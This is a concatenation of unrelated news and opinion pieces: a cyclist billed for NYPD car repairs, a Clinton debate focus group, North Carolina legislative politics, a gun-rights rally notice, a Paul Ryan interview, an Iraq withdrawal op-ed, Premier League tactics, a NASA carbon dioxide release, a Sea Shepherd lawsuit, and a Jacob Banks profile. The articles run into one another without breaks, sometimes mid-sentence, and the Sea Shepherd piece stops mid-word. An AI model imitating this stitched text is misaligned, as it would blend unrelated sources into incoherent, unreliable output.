"This annual offseason tour is invaluable for young players, and we are excited to see this talented group come together in the Netherlands," MLS Executive Vice President Todd Durbin said in a statement. "Our players’ development is enhanced by their exposure to legendary clubs like Ajax and the opportunity to compete against their peers in other countries."A Brooklyn cyclist who got hit by a cop car was flabbergasted to find a bill for repairs in his mailbox four months after the collision. Justin Johnsen, 31, was biking on Flushing Avenue by the Brooklyn Navy Yards on November 5th when a cop behind the wheel of an unmarked car ran into him. “I had left the bike lane to make a left turn, and I looked behind me and saw that it was clear, and the farthest car was a fair distance,” Johnsen tells the Post. But before he completed the turn, Johnsen says, "I was swiped by this car on my left side."
This car was a Ford Taurus owned by the NYPD. An ambulance took Johnsen to New York Methodist Hospital, where he was treated for minor injuries and released. He says he didn't consider suing the police, even though the cops who emerged from the car never apologized for running into him. Four months later, he thought the matter was behind him, but then he received a bill in the mail to the tune of $1,263.01, which the city demanded to cover the cost of repairs to the cop car.
“I think it’s preposterous,” Johnsen tells the Post. He retained a lawyer after the city threatened to sue him if he didn't pay up, but the city reportedly waived the bill after the Post inquired about it. A spokesperson for the City Law Department issued this statement to Gothamist: "As indicated by the accident report, the officers disagreed with Daniel Flanzig's version of events. Nonetheless, we have withdrawn this matter, as it is not City procedure to send bills in these instances."
The moral here is that you should be careful not to damage city property whenever it rams into you. For those who like to collect idiotic bureaucratic billing snafus, last October the city had to apologize after sending a $710 bill for police car repairs to the family of a Bronx man who was fatally run over by police.A focus group of young voters overwhelmingly said Hillary Clinton won Monday night’s presidential debate, according to John Della Volpe, who studies youth voter trends at the Harvard Institute of Politics.
Della Volpe and the Institute of Politics interviewed about 60 voters ages 18 to 29 from across the country to gauge their reactions to the high-profile debate. Like other post-debate focus group polls, it’s a small sample that may not reflect larger post-debate polls.
But the early signs were still encouraging for Clinton. Her support among young voters has shriveled to just 40 percent in recent polling, down from the nearly 60 percent Barack Obama won in 2012 and 2008. But after watching the debate, young voters in this focus group came away thinking she was far more qualified to be president than Donald Trump. Some who went into the debate saying they planned to vote for Libertarian candidate Gary Johnson said afterward they would now expect to vote for Clinton.
“This is the best opportunity she’s had to reset her relationship with millennials,” Della Volpe said. “And all indications from our work — and from the other polling I’m looking at this morning — indicate she accomplished that one step forward.”
With time winding down ahead of the election, the debate may have been Clinton’s best chance to win over what many see as a natural base of support for the Democratic nominee. It looks like she took it.
How millennials reacted to last night’s presidential debate
As Della Volpe points out, we’ve long known that young voters are turned off by Trump. But he says the subjects of his focus group didn’t just confirm that they tend to find Trump deplorable — they also suggested that young voters may be open to affirmatively supporting Clinton.
“The millennial vote isn’t Hillary versus Trump,” Della Volpe says. “It’s Hillary versus Gary Johnson versus sitting on the couch on Election Day.”
Clinton beat both Johnson and the couch.
“She wasn’t the caricature her foes and the media had created of her,” Della Volpe says, summarizing what his interview subjects told him about their reactions to the debate. “I think in the eyes of millennials, she comported herself well in tone and substance. My sense was that they are beginning to take a fresh look at her.”
Clinton beat Trump among young voters regarding who won the debate, who is better qualified, and even on Trump’s signature issues like tackling crime. From the Harvard Institute of Politics’ results:
Whether “winning the debate” translates into many more votes is another question altogether. The evidence on that front is weaker — only about 20 percent of the young poll respondents said they were now more likely to support Clinton — but still largely positive from her perspective.
Della Volpe said his interview subjects told him Clinton appeared more presidential. One University of Kansas student told Della Volpe that the most memorable moment of the debate was when Clinton said she, not Trump, was prepared to become president. Another student, a Johnson voter, said Clinton was much more “laid-back and human” last night than Trump.
“When she grounded herself in being a grandmother at the beginning and ended with the stamina needed to be secretary of state — that bookended the night for her [with millennials],” Della Volpe said.
Of course, none of that means Clinton’s much-discussed “millennial problem” is solved. “She’s not going to erase eight years of underperforming with millennials in one night,” he said. “But she needs to start somewhere, and this was a good start.”
Watch: How presidential debates are won and lostThe 2015 session of the General Assembly doesn’t officially convene until next Wednesday but Republican legislative leaders have already set a troubling tone for the session with their decision to meet this week behind closed doors in Kannapolis to discuss education policy and listen to right-wing advocates opine on the subject.
The News & Observer reports that only Republicans were invited to the six-hour event where the presenters included education privatization advocates from the John Locke Foundation, Jeb Bush’s Foundation for Excellence in Education, and something called the Clayton Christensen Institute for Disruptive Innovation in California.
House Speaker Tim Moore defended the closed door meeting by saying it gives “House members and senators the chance to hear from experts and see where the two bodies agree.”
Only Republican members are entitled to that opportunity. Moore seems to have forgotten that voters elected Democrats to the House and Senate too. They are also part of the two legislative bodies that should have the opportunity to agree on policies for the state.
And the Republicans are only hearing from groups that are already aligned with the Republicans’ ideology. No reason apparently to listen to people who may have different ideas and might challenge the free market education dogma of the leadership.
Moore also told the News & Observer that Republicans need to make sure they were “messaging properly” on education, though adequately funding public schools might make the messaging challenges easier.
Beyond the ideological concerns of who Republicans are listening to in their closed door meeting, the event sends a couple of troubling signals about the upcoming legislative session.
For the last several years, lawmakers from both political parties have attended meetings on education held by the Hunt Institute, a widely respected think tank created by former Governor Jim Hunt. And the Institute has invited them again this year.
Reportedly, part of the motivation for the closed-door Republican-only education meeting in Kannapolis was to snub the Hunt Institute because of the role former Governor Hunt played trying to help Democrats in last November’s election.
But the election is over and we ought to expect our political leaders to rise above this sort of pettiness when it comes to deliberating on major issues facing North Carolina like protecting and improving our public education system.
And then there’s the whole idea of Republicans from the House and Senate, meeting together in private to make decisions, seeing where they agree, without the public or even all legislators having the chance to part of the discussion.
Maybe they should extend the meeting by a couple of days and pass a state budget while they are at it.
The fact that Moore himself is such an enthusiastic supporter of the closed door meeting doesn’t bode well for how the General Assembly will operate this session after several years of bending and breaking the rules to ram legislation through, with unannounced midnight sessions, lack of public input, restricted debate, and taking up major pieces of legislation with no notice and little debate allowed.
All that happened while Moore was head of the House Rules Committee under former House Speaker Thom Tillis. The examples of the questionable process are too numerous to mention.
The most infamous example was the decision by House leaders to take up legislation about abortion rights by attaching it to a measure on motorcycle safety with no notice to the media or the public or most lawmakers themselves.
The State Board of Education is now poised to authorize the creation of questionable virtual charter schools because the final budget included a provision that orders the board to authorize them. The provision was never debated and no one has even claimed authorship of the idea.
That’s no way to run a legislative body that is supposed to be working for all of us and giving every representative the chance to participate on behalf of the people he or she represents.
But that’s the way it was run in the last few years and the private one-party education meeting to make decisions doesn’t inspire much confidence that this session will be any different.NOTE: Location of event has changed. It is now at McPherson Commons (Arch Park), 218 West St. near Nationwide Arena.
We need REAL GUN OWNERS to show up Friday in Columbus to push back against Bloomberg's anti-gun propaganda!
On Friday, August 30 the anti-firearm freedom group, Mayors Against Illegal Guns will be hosting a rally in Columbus attacking Senator Rob Portman and promoting measures that will restrict your gun rights as Ohioans.
This bus tour is sponsored by "Mayors Against Illegal Guns" (MAIG), a group founded and funded by anti-gun extremist New York City Mayor Michael Bloomberg that seeks to restrict gun rights for law-abiding citizens - rather than focus on violent criminals.
Portman issued a strong pro-Second Amendment statement in early April. But he's under repeated attack by Bloomberg and his paid activists. We need to support him and tell Bloomberg he should stop meddling in Ohio politics.
If you live or work in the Columbus area, join Buckeye Firearms Association to show your support for Rob Portman and voice your opposition to Mayor Bloomberg's anti-gun agenda tomorrow at noon.
WHEN:
Friday, August 30, NOON
WHERE:
McPherson Commons (Arch Park), 218 West Street, Columbus, OH
What to Bring:
Feel free to make and bring signs, but be sure to keep the signs respectful and in good taste, such as "Guns Save Lives." Also, please make sure that you wear NRA or BFA clothing or hats to prevent you from being counted as a gun control supporter. Buckeye Firearms Association organizers will have signs for you to wave and stickers for your to wear.Paul Ryan tried to claim corporations would create jobs and investment with their tax cuts. NBC's Savannah Guthrie reminded him that CEOs are saying otherwise.
In a matter of hours, Republicans’ tax scam is all but certain to sail through its final vote in the GOP-controlled House, and head to Donald Trump’s desk.
And it is already clear that no one is buying House Speaker Paul Ryan’s breathless claims about how much it will grow the economy.
Appearing on the “Today” show Wednesday morning, Ryan was challenged by reporter Savannah Guthrie, who reminded him that even the business leaders themselves are saying they will not create jobs with their free money:
GUTHRIE: Again, the biggest tax rate cut is for corporations, and the problem is, there’s — a lot of CEOs have said, really candidly, I’m looking at a list of CEOs who’ve said, we don’t plan to reinvest. What they’re planning to do is to do stock buybacks to line the pockets of shareholders. Let me quote Michael Bloomberg, a billionaire, hardly an enemy of business. He said, “CEOs aren’t waiting on a tax cut to ‘jump-start the economy,’ a favorite phrase of politicians who have never run a company, or to hand out raises. It’s pure fantasy to think that the tax bill will lead to significantly higher wages and growth.” I’ll ask you plainly: are you living in a fantasy world? RYAN: I would compare that anecdote to just the surveys of businesses, like the National Association of Manufacturers surveys, which show the vast majority of businesses are going to do just what we say. Reinvest in their workers, reinvest in their factories, pay people more money, higher wages.
In fact, while Ryan is right that manufacturers claim they will reinvest tax cuts in trade group surveys, there is no evidence companies are making actual plans to do so.
The only impact of the tax bill so far has been to increase Wall Street trading, a clear sign companies anticipate they will be giving the extra profits to shareholders. Many executives, like the CEO of Wells Fargo, are quite open about this. Historically, studies show corporate tax cuts have almost never go to employees or to hiring. There is no reason to believe this one will either.
Guthrie did not stop pressing Ryan. She reminded him that the Wall Street Journal Council of CEOs just held a meeting about the tax bill, and almost none of the CEOs pledged to reinvest.
“The fact of the matter is that corporations are already sitting on a ton of cash,” said Guthrie. “They have record profits. $2.3 trillion. Why aren’t they raising wages and creating jobs now?”
“Guess what? About $3 trillion of that cash is trapped overseas and cannot come back into our economy to be reinvested,” replied Ryan, failing to note that the proposed solution to this in his tax bill — cutting taxes for overseas profits — was already tried in 2004, and actually led to fewer jobs and more profits parked overseas.
Ultimately, Ryan had no real response to Guthrie except to repeat the same false GOP canards and empty promises that have already failed. He all but confirmed that he is, in fact, living in a fantasy world.In December 2008, President George W. Bush flew to Baghdad, where he was warmly greeted by the country's prime minister, Nouri al-Maliki. The occasion was the signing of a document that called for US forces to be out of the country by the end of 2011.
President Bush explained the agreement at the time:
"This is a future of what we've been fighting for – a strong and capable democratic Iraq that will be a force of freedom and a force for peace in the heart of the Middle East; a country that will serve as a source for stability in a volatile region; a country that will deny a safe haven to al Qaeda. As a result of these successes, Mr. Prime Minister, the American people are safer. We're also signing a Security Agreement, sometimes called a Status of Forces Agreement. The agreement provides American troops and Defense Department officials with authorizations and protections to continue supporting Iraq's democracy once the U.N. mandate expires at the end of this year. This agreement respects the sovereignty and the authority of Iraq's democracy. The agreement lays out a framework for the withdrawal of American forces in Iraq – a withdrawal that is possible because of the success of the surge."
Bush's predictions at the time were to prove untrue – except for one: That the US would withdraw its troops.
The historical revisionism on this point, almost entirely to score partisan points, has been relentless. Most of the architects of the Iraq war – from Paul Wolfowitz to Zalmay Khalilzad to John Bolton and Bill Kristol – have falsely asserted that Obama "decided" to withdraw all US combat forces from Iraq at the end of 2011. This deliberate distortion of the facts (Obama in fact wanted to keep a small force in the country but the Maliki government refused) is dangerous because it's part of a long American pattern of refusing to acknowledge Iraqi politics and interests when trying to understand the country.
"All US forces are to withdraw from all Iraqi territory, water and airspace no later than the 31st of December of 2011," reads the Status of Forces Agreement signed by Bush with the Iraqi government. "The United States admits to the sovereign right of the Iraqi government to demand the departure of the US forces from Iraq at anytime."
At the time, the US expected a subsequent agreement would be reached to allow some troops to stay beyond that deadline. But first Bush, then Obama, failed to convince Maliki. The major stumbling block for these leaders was the standard US demand that its forces be immune from local prosecution. Maliki wouldn't budge on the issue, and probably couldn't have gotten parliament to go along anyway. So the US was forced to depart, as agreed.
The reason this remains important is because it highlights the fact that Iraqis are actual people, with their own interests, not clay dolls ready to have US interests and demands imprinted upon them.
The US overthrew Saddam Hussein's Baath party, which routinely used state terror against its enemies. That included most notably Shiite Islamists like Maliki, who escaped into exile when the Baath Party cracked down on his Dawa Party, torturing to death hundreds of former Maliki comrades who weren't lucky enough to escape the country.
The US then set up a political system that delivered Maliki and his allies to power, and after that, Maliki had little more use for American assistance. Constant US nagging about political reconciliation and the need for federalism to address the interests of Iraqi minorities, like the Sunni Arabs and Kurds, was an annoyance to Maliki. He was determined to create a new Iraqi order that allowed Shiite Islamists to dominate. With oil revenue in hand, he had little need for US money, so American leverage on that front was negligible. And he had a spiffy new army, built with US money and packed with loyalists and commanders who owed their positions to Maliki.
Maliki's calculation that his army could get the job done has been proven to be an enormous mistake, as was his confidence that he could keep Iraq's Sunni Arabs under his thumb indefinitely. But those were his miscalculations to make, and they were enabled by a US design set in motion by Bush-era neocons who are today rushing to talk shows and op-ed pages to register their outrage over Obama allowing all of this to happen.
Exhibit A is John Bolton, who took to Fox News radio this week to attack Obama over Iraq. “He ignored all the potential consequences,” Mr. Bolton said of the US troop withdrawal. “The fact was the continuing presence of US troops in Iraq was critical to sustaining the victories that we won.”
Perhaps. Or perhaps not. All wars must end, and the US had already been in Iraq for 8 years at that point. The US plan, which Bolton was intimately involved in creating, was to return sovereignty to Iraq and to encourage democratic elections. That happened, and it gave Maliki the power to kick us out of the country.
Should Obama have reoccupied Iraq, overthrown the Maliki government, and then started from scratch? Bolton and his colleagues don't say, but it's implied in their position.
Now there are calls for the US to engineer Maliki's departure from leadership. This week, Republican Sen. John McCain said Obama should "make it... very clear to Maliki that his time is up." Democratic Senator Dianne Feinstein said, "The Maliki government, candidly, has got to go if you want any reconciliation." The Obama administration seems to be coming around to this position as well.
While the collapse of Iraq's army in much of the northern half of the country – and the loss of cities and towns like Mosul and Tikrit, and the oil refining center of Baiji, just north of Baghdad – may give the US some leverage over Maliki, he may not be inclined to commit political suicide. He already mobilized Shiite militias to fight the Sunni Arab uprising, and the political lesson he drew from the uprising appears to be that he was not tough enough.
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Maliki is now requesting air-strikes from the same US military he previously sent packing, but he has so far shown no willingness to reform his governing approach. US involvement could lead to civilian casualties and a greater focus on American interests from the jihadi Islamic State in Iraq and the Levant (ISIS), which until now has been consumed with fighting in Syria and Iraq.
The US brought the current Iraqi government to power, promised it would respect Iraq's sovereignty, and now finds that controlling Iraqi politics is well beyond its ability. That was something agreed to long ago.The space race is a tactical feature of this season's Premier League
The men playing in the pockets are causing more tactical problems than ever this season and Premier League managers know it. Adam Bate looks at why finding the so-called ‘half spaces’ has become the biggest tactical issue for the top bosses…
"We discussed space the whole time. It was all about making space and coming into space." - Barry Hulshoff of the 1970s Ajax side [Brilliant Orange]
The importance of the space can be overlooked. There is a tendency to describe games in terms of individual battles. That last word itself is an example of the military terminology of football. Goalkeepers caught in no-man's land. Managers with transfer war chests.
But Hulshoff and his Ajax team-mate Johan Cruyff offer a persuasive alternative. Their vision is of a game that is actually decided in favour of the team who successfully avoid such contests. The side that uses skill and savvy to elude the opponent in order to win.
It's the search for space that is key.
Ex-Chelsea man Michael Ballack tells Sky Sports that Antonio Conte is a winner Ex-Chelsea man Michael Ballack tells Sky Sports that Antonio Conte is a winner
That has rarely been more apparent than in the Premier League this season. Antonio Conte's Chelsea are on course to regain the trophy thanks in large part to the coach's success in using a 3-4-3 formation to unleash star man Eden Hazard.
Elsewhere, there is David Silva and Philippe Coutinho, Alexis Sanchez and Henrikh Mkhitaryan. They all share game-changing qualities but, interestingly, not a position. Their coaches strive to come up with shapes and formation that best free them on the pitch.
A brief history
It was ever thus. While 4-4-2 was the default shape in English football going into the Premier League era - even Arsene Wenger admitting that "no other formation is as efficient at covering space" - formations have always been in flux.
The No 10 role was a reaction to that, dropping off the front. Coupled with more mobile forwards it was enough to give Arsenal a key advantage in the early years of Wenger's reign thanks to the likes of Dennis Bergkamp and Thierry Henry.
"Arsenal have done very well against the 4-4-2," said Sir Alex Ferguson. "Henry doesn't play through the middle, he goes into space, and Bergkamp drops off. Henry needs space to play. If you give it to him he destroys you, but if you deny him space you've got a chance."
In his first spell at Chelsea, Jose Mourinho gained a major defensive advantage against the 4-4-2 by creating a triangle with Claude Makelele the free man in the space at the base of his midfield. "There is nothing a pure 4-4-2 can do to stop this," he explained.
The reaction to these changes brought the rise of the 4-2-3-1 formation. Briefly ubiquitous in the Premier League, it was also used by the top three teams at the 2010 World Cup. It remains the most obvious attempt to free up the creative player in the No 10 role.
Hence Mesut Ozil drifting around between the lines for Arsenal, hoping to provoke uncertainty among the opposition. Should a midfielder drop deeper to cover him or does the centre-back engage and risk exposing a gaping hole in the back line?
A new solution
The problem is that this central area can become congested, particularly with many teams playing two holding midfielders. So where is the space against the 4-2-3-1? Chelsea's 3-4-3 formation succeeds in getting the wide forwards into positions that are difficult to deal with.
Conte switched formation for various reasons, not least defensive stability, but it's had the effect of freeing Hazard from defensive duties up against the full-back. It's no coincidence that the Belgian has emerged once again as arguably the Premier League's best player.
Hazard is operating in the space between full-back, centre-back and midfielder. Perhaps that explains why he appears to have been targeted on a rotating basis by so many different opponents. Playing in the space left in a 4-2-3-1 has made him a tricky man to mark.
This 3-4-3 is not the only way that sides seek to get their key men into space. Silva and Kevin De Bruyne have played as "free eights" for Man City. "The intention is to play from the back and then scroll it to me and David, so we can be five against four," explained De Bruyne.
Pep Guardiola is even known to divide the pitch into zones and places huge emphasis on an area that German coaches have long focused upon - the "halbraum" or half spaces that offer greater possibilities than the flanks but more freedom than the busy central zones.
Jurgen Klopp is a keen exponent. When the Liverpool boss gave Daniel Sturridge a piece of paper to hand to team-mates during the game against Southampton in January it was to change the system in order to find the "half space for [Adam] Lallana and Coutinho".
The half space
Klopp has since said it is "really not easy to defend that position" and so important do the likes of he and Guardiola regard this space that the identity of the player occupying it is not of primary importance. Certainly, it is not only reserved for the traditional playmakers.
Guardiola recognised that full-backs are so often the free men and can penetrate this area by underlapping the wingers ahead of them. The term "half-space libero" was coined to describe David Alaba's role at Bayern Munich. Philipp Lahm performed a similar function.
Premier League managers are now focused on exploiting the half spaces
That explains Klopp's thinking in asking erstwhile midfielder James Milner to operate at left-back for Liverpool, despite the player's initial reluctance. "This kind of full-back in the team now, it's much more like a midfield player," Klopp told Monday Night Football.
"They have to play in the half spaces, they have to play really high, they are the wingers or central midfielders sometimes. The rule is to be an option in terms of getting a pass or be protection. If you are an option you can be high or you can be in the half space."
Conclusion
Juan Mata once lauded Cruyff for his "intelligent use of the ball and the spaces" and full-backs being asked to find that space to attack the opposition certainly sounds an awful lot like total football. The real battle is the battle to find space. Hulshoff would surely approve.
Individual brilliance still matters, of course. Hazard's quality makes him far better equipped than Milner or anyone else to take advantage of time on the ball. But even Hazard can be ineffective when he finds himself in the wrong system or the wrong areas of the pitch.
It's the half space that has helped him to flourish and Conte's formation change that has helped his star player to find them. Guardiola, Klopp and the rest are still working on solutions of their own.
It seems the space race is set to continue.
Sky customers can now upgrade to Sky Sports and get 12 months for just £18 per month. Upgrade now!President Trump is weighing a “huge reboot” in his White House staff after becoming disappointed with several aides, according to a report on Sunday.
The shake-up could include White House press secretary Sean Spicer, top strategist Steve Bannon and chief of staff Reince Priebus, Axios reported.
“He’s frustrated, and angry at everyone,” Axios quoted an unidentified confidant in the White House. “The advice he’s getting is to go big — that he has nothing to lose. The question now is how big and how bold. I’m not sure he knows the answer to that yet.”
Trump has complained about some cabinet members touting their own accomplishments and/or not praising him enough, the website reported, citing sources.
“He’s frustrated and angry at everyone,” one of the sources said.
Talk of overhauling the West Wing ratcheted up after the president last week fired FBI Director James Comey, who was overseeing the investigation into Russian involvement in the 2016 election and whether Trump campaign officials colluded with Kremlin officials.
Axios reported that associates said the implicit message in a shake-up would be that he can handle the Oval Office better than his aides.
“‘I get it. I’m moving on. I get that I can do a better job,'” the website quoted a top aide as saying. “He’s never going to say he did a bad job.”
In an interview with Fox News Channel’s Jeanine Pirro, Trump played up that go-it-alone approach, floating the idea he should end the daily White House press briefings for reporters and take care of it himself.
“Unless I have them every two weeks and do it myself, we won’t have them. I think it’s a good idea,” he told Pirro on her show “Justice with Judge Jeanine” that aired Saturday.NASA Maps Shed Light on Carbon Dioxide's Global Nature
Media contacts: Alan Buis 818-354-0474
Jet Propulsion Laboratory, Pasadena, Calif.
[email protected]
2008-189
PASADENA, Calif. - A NASA/university team has published the first global satellite maps of the key greenhouse gas carbon dioxide in Earth's mid-troposphere, an area about 8 kilometers, or 5 miles, above Earth. The team's study reveals new information on how carbon dioxide, which directly contributes to climate change, is distributed in Earth's atmosphere and moves around our world.A research team led by Moustafa Chahine of NASA's Jet Propulsion Laboratory, Pasadena, Calif., found the distribution of carbon dioxide in the mid-troposphere is strongly influenced by major surface sources of carbon dioxide and by large-scale atmospheric circulation patterns, such as the jet streams and weather systems in Earth's mid-latitudes. Patterns of carbon dioxide distribution were also found to differ significantly between the northern hemisphere, with its many land masses, and the southern hemisphere, which is largely covered by ocean.The findings are based on data collected from the Atmospheric Infrared Sounder (AIRS) instrument on NASA's Aqua spacecraft between September 2002 and July 2008. Chahine, the instrument's science team leader, said the research products will be used by scientists to refine models of the processes that transport carbon dioxide within Earth's atmosphere."These data capture global variations in the distribution of carbon dioxide over time," Chahine said. "These variations are not represented in the four chemistry-transport models used to determine where carbon dioxide is created and stored."Chahine said the AIRS data will complement existing and planned ground and aircraft measurements of carbon dioxide, as well as upcoming satellite missions to study Earth's carbon cycle and climate. Included in the new satellite missions is NASA's Orbiting Carbon Observatory, planned for launch in January 2009. The combination of carbon dioxide data from AIRS and the Orbiting Carbon Observatory will allow scientists to determine the distribution of carbon dioxide in the lower atmosphere, above Earth's surface."Carbon dioxide is difficult to measure and track," he said. "No place on Earth is immune from its influence. It will take many independent measurements, including AIRS, to coax this culprit out of hiding and track its progress from creation to storage."The new maps reveal enhanced concentrations of carbon dioxide south of the northern hemisphere jet stream, in a band between 30 and 40 degrees north latitude. These enhanced concentrations correspond to a well-documented belt of pollution in the northern hemisphere mid-latitudes.The team attributed the increased levels of carbon dioxide detected over the western North Atlantic to emissions transported from the Southeast U.S. on warm atmospheric "conveyor belts." These belts lift carbon dioxide from Earth's surface into the middle and upper troposphere. The AIRS maps also showed enhanced carbon dioxide over the Mediterranean, resulting from North American and European sources. Carbon dioxide from South Asia ended up over the Middle East, while carbon dioxide from East Asia flowed out over the Pacific Ocean.In the southern hemisphere, a belt of mid-tropospheric air containing enhanced concentrations of carbon dioxide emerged between 30 and 40 degrees south latitude. This belt had not previously been seen in the four chemistry-transport models used in this study. The researchers say the flow of air in this belt over South America's high Andes Mountains lifts carbon dioxide from major sources on Earth's surface, such as the respiration of plants, as well as forest fires and facilities used for synthetic fuel production and power generation. A portion of this lifted carbon dioxide is then carried into the mid-troposphere, where it becomes trapped in the mid-latitude jet stream and transported rapidly around the world. "The troposphere is like international waters," Chahine said. "What's produced in one place will travel elsewhere."Study results were published recently in Geophysical Research Letters. Other participants included the California Institute of Technology, Pasadena, Calif.; and the University of California, Irvine.More information on AIRS is online at http://airs.jpl.nasa.gov/ JPL is managed for NASA by Caltech.NOTE TO EDITORS: A video file accompanying this release is available on NASA Television. For more information, visit http://www.nasa.gov/multimedia/nasatv/SEATTLE—Japanese whalers on Thursday were to ask a U.S. judge to freeze the bank accounts of the Sea Shepherd Conservation Society, arguing that the Washington state-based anti-whaling activist group finances terrorism.
The society has led attacks on whaling ships in Antarctic waters, and some of the clashes have been shown on the "Whale Wars" reality TV show on the Animal Planet channel.
In a federal lawsuit filed in Seattle on Dec. 8, Japan's Institute of Cetacean Research said Sea Shepherd activists show up at hunts in boats, ramming whaling ships, dragging ropes near rudders and propellers, and hurling smoke bombs and bottles of acid at crews.
"Plaintiffs are entitled to be free from attack by what are essentially self-proclaimed pirates with a base in the state of Washington," the institute said in court documents.
U.S. District Judge Richard A. Jones scheduled a hearing on the lawsuit for Thursday. Sea Shepherd lawyer Dan Harris said in a filing that the court doesn't have jurisdiction in the Southern Ocean.
Japan's whaling fleet kills up to 1,000 whales a year, an allowed exception under a ruling by the International Whaling Commission. Japan is permitted to hunt the animals as long as they are caught for research and not commercial purposes. Whale meat not used for study is sold as food in Japan, which critics say is the real reason for the hunts.
Activists launched or threw glass bottles containing paint or butyric acid in one attack last year, the captain of a whaling vessel said in an affidavit translated from Japanese.
"A crew member could be blinded in such an attack," said Tomoyuki Ogawa, captain of the Nisshin Maru. "These attacks also cause fear in the crew, thus interfering with the prompt and accurate carrying out of orders."
Sea Shepherd president Paul Watson said in documents that his activists have never injured any whalers. He accused the whalers of attacking activists with concussion grenades, long-range acoustical devices, bamboo spears, heavy nuts and bolts, water cannons and prop fou
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good news is that it would seem undergraduates are more than they are often given credit for and not so easily triggered by topics like sex or abuse (which are frequently discussed on social platforms like and news sources). The sensitive topics didn't seem to be all that sensitive; certainly not substantially more so than the standard types of minimal risk questions asked on other psychological measures. Even for those with histories of victimization. The question remains as to whether such a finding would be enough to convince those making the decisions about the risks inherent in this kind of research. I'd like to be optimistic on that front, but it would rely on the researchers being aware of the present paper (as you can't rely on the IRB to follow the literature on that front, or indeed any front) and the IRB being open to hearing evidence to the contrary. As I have encountered reviewers who seem uninterested in hearing contrary evidence concerning, it's a distinct possibility that the present research might not have the intended effect on mollifying IRB concerns. I certainly wouldn't rule out it's potential effectiveness, though, and this is definitely a good resource for researchers to have in their pocket if they encounter such issues.
References: Yeater, E., Miller, G., Rinehart, J., & Nason, E. (2012). Trauma and sex surveys meet minimal risk standards: Implications for institutional review boards. Psychological Science, 23, 780-787.Jacob Banks is pressed for time. With just a few hours before his headlining show at New York’s massive Brooklyn Steele, the Nigerian-born, Birmingham, UK-raised artist has gone all day without so much as a bite to eat. “Can we make it 10 minutes, 15 tops for the interview?” his tour manager asks. “It’s been a crazy day. He still has meet-n-greets and hasn’t eaten yet.”
Seconds later, Banks emerges from a backdoor inside the Williamsburg venue. He smiles and offers hugs, possibly sensing a brewing push-and-pull between press and a protective handler. He quickly diffuses potential rising tensions by giving an OK to his camp and escorting me into a tiny greenroom.
“Just do your thing,” Banks says at the onset of the interview. The irony of his statement is that I, and the rest of the nearly 2,000-person crowd, chose to spend their Friday night watching him do his.
On stage, the 27-year-old is a behemoth. Standing at 6-foot-4, he never scowls nor grins at the audience during his songs. Instead, his eyes are focused and his face, stoic. It’s intentional and penetrative. Mr. Banks and the mandem—Danny his guitarist, HB his drummer and bass player, and musical director Smoove—are there purely to serve the moment. You bought a ticket? Cool. Jacob & Co. are there to deliver.
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NYC, the gang and I are ever so grateful, thank you so much 🌹 Boston, let’s show out tonight 🚀
A post shared by Jacob Banks (@mrjacobbanks) on Feb 23, 2019 at 10:51am PST
However, before the night’s performance, and in the midst of choreographed chaos backstage, Banks is chill, soft-spoken and full. Not full of himself, but full of experience, which translates to a gentle but firm assurance. He crosses his legs while he sits and adjusts his glasses from time to time when they slide down the bridge of his nose. That fullness allows for him to have great empathy, a byproduct of the many villages he says raised him.
“I was raised by culture: African culture, Caribbean culture, youth British culture, which is Caribbean culture,” he says. “I was raised by the streets. I was raised by the nerds. I was raised by cartoons. I was raised by happily ever afters and real life tragic endings as well.”
Speaking of those very cultures, there’s a knock at the door. His food has arrived. “What did you have?” his tour manager questions. Take a gander at Banks’ Twitter profile and you’ll read that he considers himself a jerk chicken connoisseur. However, someone else will be partaking in his beloved dish. Tonight, Banks is having the curry, while the oxtail will go to another famished member of the tour. How the British entertainer was able to get authentic Jamaican dishes in Williamsburg is equal parts impressive and mind boggling, but I digress. There are more important things to dive into right now.
Banks released his debut album Village via Interscope in November 2018 and to celebrate, he played FIFA at home with his two cats. For the singer-songwriter, music is “purely a necessity of expression” that he doesn’t let get to his head. “I have meticulously created a life where I don’t need that validation. I exist outside of music,” he says.
It’s odd to hear him speak so humbly about his art. As the night rolled in and fans stood eager to hear his robust voice, Banks performed songs from Village and his EPs The Paradox and The Boy Who Cried Freedom, which merited everything from a woman’s shrill “Sing daddy!” to the New York male equivalent “Yerrr!” from the diverse crowd.
The stand out moment of the night, however, came during his delivery of the pensive, almost spiritual “Slow Up.” Written as a note to himself that he wished he stayed younger for longer, Banks reflected on exactly when he knew he wasn’t a kid anymore: “What I've learnt from a mirror/Look too hard and you’ll find you a stranger/Love is just a decision/The choice is yours.”
“When I look back, I think I was eight. I remember thinking—well, obviously at the time I didn’t know, it was just life happening—but at eight I thought I have to be my own cheerleader,” he reflects. “I realized it wasn’t going to come from nowhere else.”
As Banks reached the second chorus of the triggering ballad, a growl from the deepest hollows of his belly emerged, setting the audience ablaze and prompting many to abandon their phones and inherit the vulnerability of the moment. At the close of the song, he hung onto the microphone and rested his head into the crease of his arm, almost spent from the effort of mentally referring to his adolescent self. In return, a chorus of applause came barreling toward the stage.
Banks’ voice is Thor’s hammer, a lightning strike against mediocre industry standards. The cacophony of car alarms you may suddenly hear outside of your window isn’t caused by a neighborhood perp. It’s because of Banks’ rich baritone, nothing more, beloved.
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Sang about Caroline in a cold locker room for you lot ❤️ Catch the full vibe on YouTube Another one courtesy of the wonderful humans at @youtubemusic #artistontherise Brought to by @wearenob0dy and @frmwrkldn
A post shared by Jacob Banks (@mrjacobbanks) on Feb 15, 2019 at 9:57am PST
When we’d almost forgotten our 15 minutes together were coming to a close, a prompt second knock at the door served as a gentle reminder. “We’ll take five more minutes. I was on the phone for a bit,” Banks lies to his publicist, Stefanie. There was no such call, but giving to the moment is what he does and if the moment needs more time, then so be it. There are more questions to ask the man of the moment.
I prod about the several drug references on standout tracks like “Mexico,” “Kumbaya,” “Nostalgia” and “Witness.” As a man who doesn’t drink or partake in substances, Banks says the lyrics (“You're so far away but when someone drops your name/You come pourin' through my veins/Like that Hollywood cocaine”) are less about a habit and more about needing a place to go.
“Drugs are in pop culture. I see it everywhere. It doesn’t bother me really. Do what you want, it’ll kill you, but do what you want,” he laughs. “Ultimately, I understand escapism. I understand needing a place to go. One can make the argument I’m addicted to expressing myself.”
He chats more about recognition versus representation and the importance of being seen but also realizing it’s not just important that you’re seen. But whether Jacob is visible or not, whether you hear his music or not, it’s still all good. He’s still G, as he’s often says, because Jacob made it so. Jacob will always be speaking his mind as Jacob, regardless.
“It was important for me that when my album came I didn’t let it define me,” he says. “I exist outside of Jacob Banks the artist,“ he said.Weekly Buzz: Hornets battle injuries; Seeking style of play
